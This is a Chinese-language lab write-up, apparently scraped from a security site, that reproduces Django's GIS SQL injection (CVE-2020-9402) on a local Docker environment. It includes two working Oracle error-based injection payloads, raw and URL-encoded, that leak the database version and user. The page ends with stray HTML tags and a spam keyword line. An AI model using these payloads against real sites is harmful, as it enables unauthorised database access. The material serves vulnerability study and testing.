<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Django GIS SQL注入漏洞(CVE-2020-9402)

    Path django/CVE-2020-9402

    Django在2020年3月4日發布了一個安全更新,修復了在GIS 查詢功能中存在的SQL注入漏洞。

    參考鏈接:

    該漏洞需要開發者使用了GIS中聚合查詢的功能,用戶在oracle的數據庫且可控tolerance查詢時的鍵名,在其位置注入SQL語句。

    漏洞環境

    執行如下命令編譯及啟動一個存在漏洞的Django 3.0.3:

    docker-compose build
    docker-compose up -d
    

    環境啟動后,訪問http://your-ip:8000即可看到Django默認首頁。

    漏洞復現

    漏洞一

    首先訪問http://your-ip:8000/vuln/

    在該網頁中使用get方法構造q的參數,構造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

    http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

    可見,括號已注入成功,SQL語句查詢報錯:

    漏洞二

    訪問http://your-ip:8000/vuln2/。 在該網頁中使用get方法構造q的參數,構造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

    http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类